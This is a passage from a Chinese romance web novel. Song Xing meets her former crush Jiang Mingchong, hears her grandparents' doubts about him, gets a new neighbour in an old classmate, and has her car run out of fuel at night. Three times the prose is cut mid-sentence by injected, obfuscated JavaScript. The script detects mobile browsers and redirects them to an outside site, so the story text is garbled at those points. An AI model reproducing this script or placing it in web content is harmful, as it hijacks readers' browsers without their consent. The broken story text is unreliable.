林女士知道宋星之前好像又突然不喜欢姜明崇了，只是如今姜明崇回来了，没了距离的干扰近水楼台的，再想起从前宋星为了姜明崇的样子，便忍不住揶揄。 “妈，”宋星忍不住提高声音，气自己被亲妈打趣。 林女士立马笑着道歉。 两人又聊了两句挂掉电话，宋星努努嘴，知道是自己以前对姜明崇太过执迷，执迷到她爸妈要离婚，她第一反应都不是那以后我怎么办，而是终于有机会到姜明崇面前卖惨了，因为电视苦情剧里父母离婚的小孩都过得很惨，会被后妈虐待，逼着洗碗擦地板。 姜明崇在学校里一直很照顾惨惨的困难生，她也想被姜明崇照顾，可她从来不在惨的范围之内。 宋星姥爷听这这母女俩的对话笑着摇摇头。 宋星在四合院一直待到傍晚，看手机时又忽然想起她还有个快递没拿。 是她给姥姥姥爷买的足底按摩仪。 平常快递都是由保姆去拿的，只是保姆这会儿正在做饭，另一个保姆今天又放假，宋星想趁她在的时候拆开给姥姥姥爷试试，于是自己去快递站。 傍晚落日西斜，电线上有麻雀啾啾，电线杆影子被拉得很长。 宋星拿到快递时发现包裹比她想象中的大和重不少，有些后悔刚才没推个小推车出来，她略显吃力地把箱子抱在身前，然后刚转过拐角便碰见一个人。 姜明崇出现在胡同里。 宋星抱着箱子看到迎面而来的姜明崇。 她现在的方向是往里走要回去，而姜明崇方向是往外走，应该是要离开。 宋星隔着箱子看到姜明崇时只微微愣了一下，随即又觉得碰到他很正常。 许她周末回家看姥姥姥爷，姜明崇明显也是看爷爷。 宋星没说什么，也懒得装客气打什么招呼，只提膝用腿把往怀里一直往下滑的箱子往上垫了垫，正要继续往回走，箱子上忽然多了一双手。 姜明崇走过来，伸手试图接过宋星手里的箱子，说：“给我吧。” 宋星低眸看到箱子上姜明崇骨节分明的手。 然后她几乎没有怎么犹豫便接受了，都主动开口了，免费劳动力不用白不用，递过去：“喏，谢了。” 姜明崇的身高和力量抱这个箱子跟玩儿似的。 宋星终于空开手，甩了甩有些酸的胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115320|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊，在心里告诉自己419事件翻篇之后普通相处就好了，毕竟有姜明枝的关系他们两个人不可能一辈子不见面，并且这次只是偶遇，不是姜明崇揪住不放来烦她。 宋星又拍拍手上灰尘不咸不淡问了句：“你今天回来看你爷爷？” 姜明崇：“嗯。” 他看到宋星箱子包装上写的是按摩仪，又问道：“你姥姥姥爷，都还好么？” 两家住的很近，姜明崇回b市也有一阵子了，但还没见过宋星的姥姥姥爷。 “挺好啊。”宋星点头答，“跟以前一样。” 姜明崇也点了点头。 两人一起往宋星家的方向走。 都没怎么说话，宋星看到地上两人影子也被拉得很长。 从小到大她其实很少这样并排跟姜明崇一起走过，主要以前大都是她单方面的喜欢。 并且男女单独走在一起，无论怎么说，其实都是一件挺暧昧的事。 宋星想起初二的时候有次看到姜明崇和他们高中部一个女生走在一起，一打听才知道那女生是他们高中部的女神兼校花，最近在跟姜明崇传绯闻。 那是宋星学生时期最难过的一段日子。 因为自己的情敌是高中部“校花”，听说漂亮成绩又好，而她那时刚箍了一口小钢牙，平常笑都不好意思笑，暑假还因为她妈带她去大溪地冲浪，整个人晒得黑的像颗小煤球。 如果是她没晒黑没箍牙的漂亮时期宋星说不定还能振奋精神去跟情敌掰头一下，但情敌出现在自己的最丑时期，明显就没什么可比性，宋星有种天都塌了的感觉。 她悲痛欲绝跑去质问姜明崇是不是跟那个女生在一起了，她都看到他们一起并排走路了，年级里都在传你们的绯闻，而姜明崇面对因为这种事情来“质问”他的宋星，先是困惑，最后又很无奈地问她：“宋星，难道我跟谁在一起走路都还要跟你汇报吗？” “我即便真的跟谁在一起了，又跟你……有什么关系。” 宋星习惯性自动忽略“跟你有什么关系”，耳尖抓住的字眼是“即便真的跟谁在一起”。 姜明崇说的是“即便真的在一起”，那么就说明他其实并没有跟那个女生在一起，那些传闻都是假的。 她就说，姜家家教那么严，姜伯伯又那么凶，姜明崇怎么可能玩早恋。 于是宋星忽然就又快乐了，飘飘然的决心自己一定要再白回来再摘掉牙套恢复好看，晚上还用了姜明枝悄悄拿给她的她大伯母的美白面膜。 只是现在，回忆起那些往事，看着地上两人的影子，宋星除了觉得有些幼稚的可笑意外，忽然选择往前快走了两步。 她没有跟姜明崇并排走在一起。 姜明崇脚步顿了顿。 他跟着上前，两人之间的距离缩近了一点，然后姜明崇看到宋星又快速往前走了两步，再次拉开两人距离。 “你赶时间吗？” 终于，姜明崇忍不住问出声。 为什么走这么快，一直把他甩在身后。 宋星听到姜明崇在身后问她。 她只好先停下来，先是样子有些警惕地往四周张望了张望没人，然后才对姜明崇说： “这街坊四邻都认识你我，” “我怕他们看到误会。” 7.七颗星 在宋星说她走在前面是怕别人看误会他们两人关系的时候，姜明崇抱着箱子的动作顿了。 他动了动唇，望着前面的宋星，似乎还想再想说些什么，只是宋星已经向前走远，再回头看他怎么没跟上。 姜明崇只能再跟过去。 宋星姥姥家离快递站不远，两人一直到院子门口。 宋星伸手接箱子意思她抱进去就可以了，姜明崇把快递箱交给宋星，又忽然听到一声：“明崇？” 两人一起转头。 是宋星姥爷。 老人家出来看孙女快递取到哪儿了。 “……” 宋星突然有种躲过了街坊四邻结果没躲过自家亲爷奶的略微蛋疼感。 姜明崇看到宋星姥爷仍跟印象里的一样精神矍铄，红光满面，脸上笑眯眯的。 “林爷爷。”姜明崇立马打招呼。 “诶，明崇。” “我记得上一次看到你还是前年吧，好久不见了，嘿，这当兵的气质就是不一样。”宋星姥爷一边笑一边打量着姜明崇，又问，“听说你调回b市了？今天回来看你爷爷吗？” “是的，今天休息，我回来看看爷爷，”姜明崇应声点头，然后他又往院子里望了一眼，问，“林奶奶身体还好吗？” “都好着呢。”宋星姥爷笑着，然后目光又移到正被姜明崇交接到宋星手上的快递箱。 “你们在外面碰到的？”宋星姥爷问。 “昂。”宋星主动回答。 宋星姥爷：“姜家小子还是那么肯乐于助人。” “您说笑了。”姜明崇微微笑了笑，见已经碰到人，便直接把箱子抱进了院子。 “放这里。”宋星指了个平常放快递的架子。 宋星姥姥听到声音也从屋里出来。 老人见到姜明崇也是一阵寒暄说回来就好，你爷爷年纪大了这么多年你在西北那么远他其实一直都很想你，姜明崇一一应着，宋星姥姥又说刚好晚饭做好了，留下来一起吃个晚饭吧。 “谢谢您不用了，”姜明崇婉声推辞，“我刚在家里吃过，晚上还得回营区。” 两个老人听了自然也不勉强，又说下次有空过来坐坐。 姜明崇点头应着。 宋星在一旁有些无聊地旁观姜明崇和她姥姥姥爷寒暄。 从小到大，宁定西院周围的长辈几乎就没有不喜欢姜明崇的。人品好成绩好长得也好，是小辈里的模范标准。 姜明崇放下快递再次道了告辞。 他离开时又看了看宋星，宋星撞上姜明崇视线，主动挥手：“拜拜。” 姜明崇消失在院门口。 宋星这才转头看向自己姥姥姥爷。 好在她很了解自己姥姥姥爷，都不是什么爱掺和小辈之间的事的人，也没有觉得她一定要跟谁结婚的思想，都知道她和姜明崇应该是在外面碰巧遇到了，虽说现在孙女不喜欢了，但两个人又没有什么仇什么怨，从小一起长大的发小，遇到了顺手帮个忙也很正常。 “走吧姥姥，”宋星略过这段小插曲亲亲热热挽住姥姥胳膊，“进去吃饭吧。” 宋星姥姥看着身旁一脸俏皮撒娇的孙女。 今天见到孙女面对姜明崇那一脸坦然的样子知道她确实是真的对姜家孩子没什么兴趣了，得到这个信号，宋星姥姥忽然想有点话想说。 宋星忙着拉姥姥姥爷进去吃饭，宋星姥姥在这时开口道：“又又，其实一直以来，我跟你姥爷还有你爸妈，都不太希望你喜欢姜家那孩子。” “嗯？”宋星立马顿了顿。 她没想到姥姥又提起刚走的姜明崇，站直了身子，看向好像忽然语重心长的老人。 宋星姥爷跟老伴对视一眼，彼此互通了对方的想法和想说的话。 然后宋星姥爷也道：“现在看到你真的对姜明崇没有想法了，这些话终于可以跟你说了。” 宋星忽然有些懵，她不知道以前竟然还有话一直没对她说，问：“什么话？” 宋星姥姥把宋星一缕编着彩色亮丝的长发给她别到耳后。 她是打心眼里觉得这样装饰很好看，也觉得宋星之前打扮的花花绿绿的样子很新奇，年轻人就是多尝试新潮漂亮的，但是很显然，世界上并不是所有长辈都会这样想。 宋星姥姥轻轻叹了口气，说：“姜家规矩太多了。” “我们哪愿意让你去受那些。” 姜长原夫妇这么多年知道宋星喜欢姜明崇也没露出什么态度，甚至依然给姜明崇张罗着相亲，其实，没有态度就是最明显的态度。 宋星生性跳脱，看起来“没个正形”的样子，和姜长原夫妇一直所期望的配给儿子的女孩子并不相符。 宋星听姥姥说姜家规矩严时抿了下嘴。 确实是，她和姜明枝虽然是好朋友，但姜明枝是乖巧又讨人喜欢的乖乖女，她不是。 宋星姥爷：“就算不论姜家，明崇这孩子很好，从小也是我们看着长大的，人品处事都没得说，但是还是一点，他是军人。” 宋星不解：“军人怎么了？” 宋星姥爷：“之前人在西北一年也回来不了几天，就算现在回b市了，他这职业注定一年到头都很忙，碰到出任务的话几个月没消息都有可能，结了婚也根本没法照顾家里。” “听起来是光荣，但实际的苦只有自己知道，尤其是如果要成家，要承担的实在太多。” 其实何止是姜家不愿意，到宋家这里，也是不愿意的。 不愿意自家孩子被并不喜欢她也并不适合她的家庭挑剔，也更不愿意自家孩子找那样的职业。 只是之前一直架不过宋星一厢情愿的喜欢，便也没说出口。 “况且，”宋星姥姥拍拍宋星的手，调侃道，“你是去住家属院儿的个性？” 宋星愣住了。 她听着姥姥姥爷的字字句句，从来没想到，家人心里一直还藏着这些话。 苦口婆心，但其实每一点都是在为她考虑。 她也的确不是能去住家属院的个性。 “那现在不万事大吉了吗，”宋星听后只剩浓浓的感动，她感谢家人从小到大给她最大限度的自由，对她没有别的期许只希望她过得快乐，也感谢在姜明崇的问题上，家人一直以来的温暖与支持。 从没有反对过，在她前进的时候给她最大的支持和理解，在她退后的时候，又张开怀抱，稳稳地接住她。 “好了，吃饭吧。”宋星姥姥牵着这从小疼到大唯一的孙女。 …… 宋星回家后又把姥姥姥爷的话仔细琢磨了一下。 她想了很多，琢磨下来的结果是幸好她及时撤退的早。 杀死玫瑰乐队最近练得也很勤奋，阿墟又写了一首新歌，大概是觉得都跟节目导演组投简历了万一通过了呢，要抓紧现在的时间多多排练。 年轻人尤其是搞摇滚玩乐队的很多都是夜间动物，几个人经常录音练歌一搞就是一整个晚上，宋星也经常第二天早上才回家。 她晚上刚录完新歌，打着哈欠手里拎着早餐回家，一到楼下大堂才发现今天他们楼有人搬家，搬家工人搬着东西从货梯里忙忙碌碌地进出。 宋星看着穿着工装的搬家工人，这才想起忽然段斯冕。 前几天段斯冕跟她说他在找房子，他回国这些天一直住在酒店里，想问问宋星她知不知道什么比较不错的房源，又问她你现在住的小区怎么样。 宋星现在住的小区叫嘉悦府，是b市的高端小区之一，环境物业什么一直不错，听段斯冕要找房子，知道他工作的地方离嘉悦府也不远之后，宋星便帮他问了她们小区物业最近有没有业主出租房子。 结果一问得到的回复是还正好有一套房子在出租，还就跟宋星同一栋楼，在她楼上。 宋星就把微信推了过去。 之后看房什么的都是段斯冕自己去的，看完之后段斯冕便给宋星发微信说他也觉得不错，已经签合同了，这次又很谢谢她，他过两天就搬过来。 看着上楼下楼的搬家工人，宋星想起今天应该是段斯冕搬过来的日子。 成邻居了。 宋星对此倒没什么感受，回到家吃完早餐闷头就睡，然后一觉睡到下午六点多。 醒来的时候耳朵模模糊糊听到有外面有门铃声。 是谁在按门铃。 宋星顿时有些起床气地捞过枕头想捂住耳朵继续睡，只是门铃声穿透性太强并且还在响，于是宋星只能认命从床上爬起来，穿着蜡笔小新睡衣趿拉着拖鞋，去开门时眼睛还半闭着，没什么好气问：“找谁？” “我……”段斯冕站在门口，看到宋星开门时的一身睡衣和凌乱的头发忽然语滞。 宋星听到声音后完全睁开眼，然后看到站在她门口的，是段斯冕。 “……” “对不起，”段斯冕面对明显是刚醒的宋星立马道歉，还有些惊讶，“对不起，你是……还在睡觉吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123995|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋星这才意识到自己现在还是一副刚睡醒有起床气的暴躁样子。 她立马清醒，赶紧把自己睡衣往下拉了拉又用手指把头发捋了捋：“噢，我昨晚熬了个夜，补觉呢。” “那不好意思是我打扰了，要不我先回去，”段斯冕一听是在补觉就要走，宋星赶紧又叫住他：“没事没事，我已经睡醒了。” “你今天搬过来的对吧，”宋星想起上午那些搬家工人。 段斯冕听宋星说她已经醒了后才停步，又对宋星点点头：“对，今天刚搬过来。” 然后段斯冕示意他手里一直拎着的一个袋子，有些尴尬：“本来说想下来给你送点东西，没想到打扰到你休息。” “没有，我已经醒了。”宋星再次解释，她觉得这样两人站在门口说话有些怪怪的，于是侧身让出门口，“进来坐坐吧。” 段斯冕往屋内看了一眼，还是笑着说：“谢谢不打扰了，我就是来给你送点东西。” 他把他手里的纸袋子递过去：“多亏你我才租了楼上的房子，请你吃饭你一直忙着，我就买了这个。” 宋星见到段斯冕递过来的袋子后立马推辞：“我不过就顺便帮你问了一嘴，这么客气干什么。” 段斯冕却坚持要送，只是一点小礼物。 宋星拗不过只好收了。 段斯冕走时又对他打扰到宋星补觉道了番歉，宋星关上门，她一边往客厅走一边打开袋子，拿出里面的东西，看到段斯冕送的是一套香薰蜡烛，一盒一共五个。 纯黑色的容器上有金色繁复的浮雕，很贵的一个牌子。 宋星看了看，直接把蜡烛放到客厅展架上，然后拍了张照片再给段斯冕发过去，说：【收到了，谢谢啦】 段斯冕：【不知道你喜欢什么味道所以就买了一套，是我该谢谢你】 宋星看着这回复，又靠坐在沙发耸了耸鼻尖。 她觉得现在的段斯冕，跟小时候的小胖子确实不太一样了。 傍晚落地窗外，落日将云朵也染成蜜色。 宋星结束跟段斯冕的微信对话后又看了看窗外景色。她点了个外卖这会儿还没送达，等待的过程有些无聊，于是宋星翻了翻聊天列表，找到姜明枝。 宋星：【你还记得我们小学四年级的时候班上转学来的那个小胖子吗】 【叫段斯冕】 姜明枝的消息很快回过来：【段斯冕？】 【噢，好像记得】 【是不是你给他出了一次头然后他就一直天天跟在你后面转把你当老大的那个？】 【怎么了？】 【我记得后来他不是跟他家人一起移民了吗？】 宋星： 【我最近遇到他了。】 【他回国了，外派回来工作】 姜明枝显然有些震惊：【这么巧？】 宋星抿了下唇：【倒也不算巧，】 【他说十几年没回来在b市从前关系好的同学只有我一个，说在网上搜了一下就把我搜出来了】 【然后专门来找我叙旧来着】 姜明枝：【我靠那他怎么不搜我？】 【是我站的还不够高吗？】 宋星：【……】 一搜姜明枝上亿条信息，当红顶流小花满大街都是广告海报有什么好搜的。 姜明枝也不贫嘴了，又问：【你忽然说起这个干什么？】 【他怎么了吗？】 【小胖子以前不是挺听你话的。好奇观察.jpg】 宋星抱着手机窝在沙发上：【他现在不是小胖子了，变化挺大的】 【没怎么，就是跟你感慨一下】 姜明枝：【嗐，这么多年没见了，变化大很正常】 【对了，说起来，我觉得这小胖子对你其实真还挺真心的呢】 宋星：【？】 【怎么了？】 姜明枝恍惚想起什么：【哦对了，这事你好像都不知道】 【我都一直忘了跟你说】 宋星更好奇：【什么事？】 姜明枝发来长串： 【就是后来，小胖子后面不是要移民了么，又知道你喜欢姜明崇，天天念叨着姜明崇，爱而不得】 【于是他就跑到我们家，把存钱罐里所有的家当都塞给姜明崇，然后扑通一下直接跪在姜明崇面前，哭着鼻涕乱飞惨绝人寰，求求他能不能跟你在一起】 【那画面我现在想起来还是觉得好好笑哈哈哈哈】 8.八颗星 啊啊啊啊高亮一下！赶榜来不及先发上来，对不起大家这章还没修麻烦先不要看 ———————— 似乎是因为回忆起来实在太过好笑，姜明枝在那边一连发了好几串“哈哈哈哈”以及“他人还怪好嘞”。 宋星听完：“……” “？” 她愣住了。 她从来不知道还有这回事，要不是今天忽然心血来潮问起姜明枝又说起，她可能也永远不知道有这回事。 小胖子段斯冕，去求姜明崇跟她在一起？ 宋星脑海中自动脑补出了小学四年级时的小胖子段斯冕，扑通一下跪在姜明崇面前，哭的上气不接下气求姜明崇跟她在一起的样子。 想起来好像确实很滑稽，小孩子求人又没有太多筹码，唯一能想到最诚恳最有决心的，大概就是跟电视剧里学的，跪在要求的那个人面前。 宋星忽然默默。 其实在成年人的眼里看待这些事情确实是挺好笑的，可是知道小胖子这样做的意图，宋星感到心里有种说不出来的感觉。 又过了一会儿，姜明枝发现宋星一时没回信息：【呃，你不会怪我没告诉你吧】 【我第二天就去参加舞蹈比赛了一个月后才回来，回来时这事都忘得差不多了】 【你今天忽然提起他我才想起来的】 宋星这才回神赶紧回微信：【没】 【你说起那个画面我脑补了一下，好像确实挺好笑的】 姜明枝：【他当时哭的可悲恸了，肝肠寸断】 【小胖子是我从小见过最能哭的男孩子】 【那眼泪流起来，哗哗的，比我拍哭戏都猛，绝对是天赋】 【我都做不到哭起来脸上六行泪！我最多四行！】 宋星：【……】 ............. 自从向音乐节目投了简历之后杀死玫瑰四个人就练得挺勤奋的，经常通宵录音白天睡觉，还要在livehouse演出，昼夜都有些颠倒了。 宋星下午醒来的时候看到手机上有些消息。 来自杀死玫瑰乐队的微信聊天群。 是音乐综艺的海选结果已经出来了，听说这次报名的有近千个乐队，导演组先初步选出了三十个乐队去试音，再从这三十个乐队里选二十四个上节目。 只是很遗憾，通过海选去试音的没有他们杀死玫瑰。 之前几个人还忍不住做着虽然他们还在起步阶段但万一就这么被选中然后再上节目万一一炮而红的梦，毕竟好多明星艺人提起成名史都是这么说的，这会儿收到节目组海选没通过的回复，倒是一下子清醒了。 【明晚还练习吗……】 微信群里，大南显得有些丧气地问。 虽说一开始就告诉自己不要报什么希望，但是只要是投了其实心里还是会有点下一个天选之子会不会是我的期待，现在期待彻底落空，会沮丧也是正常。 九九：【练啊】 【我们刚成立多久，你不会真做着拳打“低频日记”脚踢“Red Copper Rail”的梦吧……】 “低频日记”和“Red Copper Rail”都是圈子里已经成立十几年的老牌乐队，这次也是很早就听说他们也在参加海选，只是大家基本都知道，对于这种已经成名只是欠缺点大众性和公众认知度的乐队，海选基本是走个过场，一定会入选的。 大南：【私密马喽.jpg】 宋星看着大南不知从哪儿弄来的马喽表情包笑了笑。 她放下手机起床，走到阳台看到今天天都快黑了。 最近天气降温气温凉爽了不少，阳台上的风吹在身上很舒服。 宋星站在阳台上吹了吹风，扫眼天际刚刚爬上夜空的北极星，然后转身进屋。 ............... 半个小时后，夜空舒朗，空旷的城市郊区辅路上，黑色的越野车押着道路限速奔驰。 车窗全部开着，清爽的晚风灌进来，宋星叼着棒棒糖打方向盘。 她之前有段时间一直骑机车，还载着姜明枝去兜了风，后来又慢慢觉得机车确实不安全，于是还是换了四轮的。 今晚感觉天气好便想着开车出来兜兜风。 市区太堵了也容易影响交通，郊区是最好的选择。 宋星又随手打开车载音响，是她一直很喜欢的国外一个乐队，乐手强力又有富有节奏感的重金属音乐放出来。 宋星跟着节奏一边兜风一边听歌，直到手机铃声又响起来。 是九九打来的。 宋星瞥了一眼来电显示按开蓝牙接通，音乐停止，宋星含着棒棒糖说：“喂？” “星星！”九九兴奋的声音立马从车载音响里传出，“让我们去试音！” “嗯？”宋星听着九九兴奋的声音有些摸不着头脑，“什么？试音什么？” “我这会儿在外面开车呢。” 九九这才缓下激动，认真道：“《梦想乐队》节目导演组刚才给我打电话，说再给我们个机会，让我们下星期去录影棚试音。” 宋星更听得懵：“什么？怎么回事？我们不是没通过海选吗？” 九九舒缓心情，继续说：“节目导演组说我们本来没通过的，觉得我们歌还不错但新乐队还不够成熟，也没什么知名度，然而排在我们前面本来被选上的好几个乐队背调出了问题，好像里面有有案底的法制咖，法制咖怎么能上节目，于是就顺延轮到我们了，再给我们个机会。” 宋星听九九说完缘由，有种原来这样也行的迷惑感。 果然，论当代社会遵纪守法的重要性。 不过也是，大众对一些玩摇滚玩乐队的人印象不好，很多就是这些口头喊着是爱音乐，实际只是为了耍酷泡妞的人造成的。 刚才在微信里还揶揄大南要拳打“低频日记”脚踢“Red Copper Rail”，好像根本就没想过能通过海选的九九，从这会儿声音的兴奋与激动来看，她其实心里也是很期待很希望的。 宋星脸上跟着露出笑容：“好好好，明天我们再在一起好好商量。” 九九：“嗯嗯！” 两人挂掉电话。 宋星把棒棒糖在嘴里咬碎，知道可以去试音后感觉心情也好起来，她看了眼时间也已经是九点多快十点了，于是打算掉头回家。 只是她行驶中的车子却突然轻轻颤动两下。 宋星还没搞明白怎么回事，下一秒，她车子又剧烈地颤抖两下。 宋星赶紧减速靠边，然后她还没停车，发动机已经自动熄火，抛锚在路边。 宋星坐在驾驶座，这才忽然看到仪表盘上已经拼命报警的油表。 她这个人一向有些加油拖延症。 每次总是想着下次加，下次又想着下次加，经常把车子开到快没油了才去加油站，今天把车子开出门时也忘了看余油多少，刚才在路上放歌兜风，油表的报警声直接淹没在重金属摇滚音乐里。 “……” 宋星忽然坐在驾驶座上沉默了。 然后沉默之后是先下车拿出后备箱里的三角牌放在车尾后一百五十米，又打开双闪，做完这一切，才开始想办法。 宋星先是用手机搜了这里离市区和最近加油站的距离。 得到的结果都她不容乐观。 叫保险的话大概率会等很久，而且保险来了也是用拖车把她车子拖到加油站。 所以这会儿最方便也是最省心的办法，就是叫个人给她送点散装油来。 宋星在心里发誓经过这一回她一定要改掉加油拖延症。 郊区的夜晚降温还挺冷的。 宋星搓了搓胳膊，她爸最近国外访学去了，于是先给九九打了个电话。 通话未接通。 大南和阿墟的也未接通。 这三个人现在估计因为通过节目海选正在哪里嗨呢。 宋星摇头叹气，又给姜明枝打电话。 这回电话倒是接通了，只不过是个男人的声音：“喂。” 宋星听出是路谦：“……” “呃，没什么。”宋星挂了电话。 她再次对着手机叹气，大晚上的让人跑到郊区来给她送油这种事不是太要好的朋友确实不太好意思张口，宋星在手机地图上划了半天距离寻思要不叫保险算了，她东翻翻西翻翻自己现在到底在哪里有多远，然后在看到附近大概二三十公里的一个坐标时，停住了。 …… 营区，宿舍楼，今晚快要睡觉的时候，姜明崇收到一通电话。 电话那头的人支支吾吾，大有一种你不方便就算了千万千万别勉强的意思，姜明崇握着手机听完，回复：“你把你现在详细坐标发给我。” “我马上过来。” 另一头，收到姜明崇“马上过来”回复的宋星挂掉电话，呼了一口气。 因为她刚才意外发现这里离市区远，但是离姜明崇的驻地，好像还挺近的。 孽缘。 于是宋星便死马当成活马医，问问他。 毕竟事情翻篇只要姜明崇不来老揪着那一夜情说什么要“负责”“在一起”的疯话，两人也还是发小。 交规规定车子在路上抛锚是不可以直接坐在车里等的。 郊区晚上空气温度也越降越低，宋星有些后悔没在车上放个外套什么的，刚才开车兜风有多帅现在就有多狼狈，在路边安全地带抱着胳膊蹦蹦跳跳了大概二十来分钟，终于看到远处一束像救命稻草一样的汽车灯光。 车子终于向她驶来。 姜明崇开的也是一辆黑色越野，是他自己的私人车辆。 宋星站在车灯光线里赶紧朝车上的人挥挥手：“这里。” 姜明崇把车停在宋星的大G后面。 他拉开车门下车，宋星走过来：“不好意思给你添麻烦。” 姜明崇看到宋星一脸尴尬的样子：“没事。” 宋星又怕误会：“我是兜风随便开到这里来的，真的绝对不是故意要开到这里来跟你有什么关系的意思。” 姜明崇：“……” “好。”他垂睫，答。 车灯照明，姜明崇本来想直接去车子后备箱取油，然后在车灯的光线下，忽然看到在外面等了这么久，宋星被冻的嘴唇都有些发紫。 最近降温了，郊区的夜晚会更冷。 姜明崇出来是外面穿了一件夏作训服。 他把身上作训服脱下来递给宋星：“穿上。” 宋星确实挺冷的，只是她看到姜明崇递给她的衣服瞪了瞪眼：“这我能穿？” 姜明崇：“按常规来说是不能，” “但是群众有实际迫切需要的时候，是可以借用的。” 宋星琢磨着这道理。 她现在很冷，都快冻感冒了，应该算实际需要吧。 保家卫国保护人民不是。 姜明崇：“你先穿上吧，待会儿上车了就还给我。” 见姜明崇都这么说了，他都说没问题，宋星伸手接过衣服。 衣服上还带着些温热的体温。 宋星穿上大了好几个号，手都在袖子里伸不出来，不过好在是不冷了，她吸吸鼻子，说：“谢了。” 姜明崇这才打开他车子后备箱，从车里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋星面对着姜明崇的垂眸沉默知道自己这把赢了。 她兀自坐回车里，发动车子看到仪表盘油箱刻度已经是安全区域，然后再把身上的作训服脱下来。 回去在车里就不会冷了。 宋星下车把衣服还给姜明崇：“喏。” 姜明崇伸手接过自己作训服。 宋皱皱鼻尖，看到姜明崇还是一副沉默的样子，又觉得自己是不是有点说过了。 毕竟今晚是姜明崇来帮了她。 于是宋星呼了口气，还是开口说：“今晚谢谢，没什么事我就先走了。” “宋星，”姜明崇抬头开口叫住人。 “嗯？”宋星偏头。 姜明崇眉心微动：“这周末，我们见面谈谈好吗？” …… 宋星望着跟她说想见面谈谈的姜明崇，没有直接答应邀请。 不过她也没直接拒绝，给的回复是“我考虑一下”。 姜明崇答应下来。 回程的路上，宋星又拆了一颗棒棒糖叼在嘴里。 九九几个刚才回电话问她什么事，他们几个刚才在酒吧玩呢没听见，宋星回复说“没事了”。然后再回忆起今晚姜明崇说的还挺诚恳的“周末要见面谈谈”，感觉拿不定主意。 毕竟两个人又没有什么可谈的。 他不来找她就是万幸了。 不过反正离周末还有几天宋星也懒得现在做决定，回到嘉悦府，把车子停到地下车库。 已经快十二点了，宋星甩着车钥匙下车。 她听到旁边也有汽车引擎熄灭的声音。 宋星往声音方向看了眼，看到从车子里下来的是段斯冕。 段斯冕也看到宋星，他立马笑着走过来。 大概是作息不同，一个要上班一个天天昼伏夜出，两人自从段斯冕搬过来后就没一直怎么碰到面。 段斯冕一见到宋星便笑着打招呼，宋星对着段斯冕的脸，却又忽然想起，上次，姜明枝说的事情。 小时候的小胖子段斯冕为了她，噗通跪在姜明崇面前哭的肝肠寸断求姜明崇跟她在一起。 段斯冕发现宋星看他的眼神有些怪怪的发直。 “呃，我脸上有什么吗？”段斯冕忍不住摸了摸自己脸颊。 “没什么。”宋星赶紧从脑海中回神，然后面对今晚跟她在停车场碰到的人，“你怎么这么晚才回来？” 段斯冕笑着叹了口气：“加班。” 宋星：“外企也加班？” “很少，但忙起来也是有的，你怎么也这么晚才回来？”段斯冕反问。 “呃，我今晚有点事情。”宋星不知为什么不太想跟段斯冕提起她今晚发生的事，特别是还有姜明崇，她含糊过去这个问题，两人一起进电梯间搭电梯。 段斯冕顺便把宋星的楼层给她一起按了。 电梯平稳上行。 宋星站的很端正，却又从电梯门的反光上看到段斯冕。 她这才忽然感受到段斯冕很高。 小时候明明跟她差不多高的小胖子，现在非但不胖，还直接高她一个头了。 段斯冕从电梯反光里感受到宋星的视线。 两人目光相接的时候，段斯冕忽然鼓起腮。 男人原本清瘦的脸颊变得圆圆鼓鼓，忽然就跟小时候的小胖子有点像了。 宋星直接没忍住“噗嗤”一下笑出声来。 9.九颗星 自从小学同学重逢之后，宋星自觉和段斯冕的关系一直挺平淡的。 毕竟十几年已经过去，就算是曾经再熟悉的人也会因为时间而变得陌生，更何况她和段斯冕也只同学了一年。 那一年里的事就算再丰富，也只是他们漫长学生生涯中极为短暂的一部分。 所以宋星对于段斯冕其实一直有些生疏感，毕竟现在的段斯冕不再是从前爱哭鼻子的小胖子，而她也不再是在班里最令老师头疼，兴风作浪的捣蛋鬼。 直到今晚段斯冕忽然朝她鼓起腮。 宋星的记忆几乎瞬间就被拉回了那个时候。现在在她旁边的不是别人，就是那个好骗到被她连哄带骗糊弄了两句，立马就乖乖去老师那里给她顶包，说是他打碎教室玻璃的小胖子。 段斯冕看到宋星笑容的时候也跟着笑出一口白牙。 电梯到了。 “拜拜。” “晚安。” 两人同时开口，宋星走出电梯时说的是“再见”，段斯冕说的是“晚安”。 宋星回头看向跟她说“晚安”的青年。 她莫名感觉到，两人之间关系好像拉近不少。 …… “杀死玫瑰”四人替补得到试音机会，嗨过之后立马开始准备起了试音要唱的歌。 他们选的是一首在livehouse里观众反馈最好的原创作品，名字叫《夏天雨》，整首歌的风格就好像一场夏天突如其来的雨一样，清爽自由，来得快结束的也快，在很短的时间无影无踪，余下只有凉爽的空气和洗涤一新的世界。 试音时间定在下周三。 宋星一心忙着练歌，直到手机又收到消息，这才忽然想起周末姜明崇还约了她见面，两人谈谈。 她当时回复的是“我考虑一下”。 而现在考虑的结果，虽然周末是有空的，但宋星感觉自己好像不太想去。 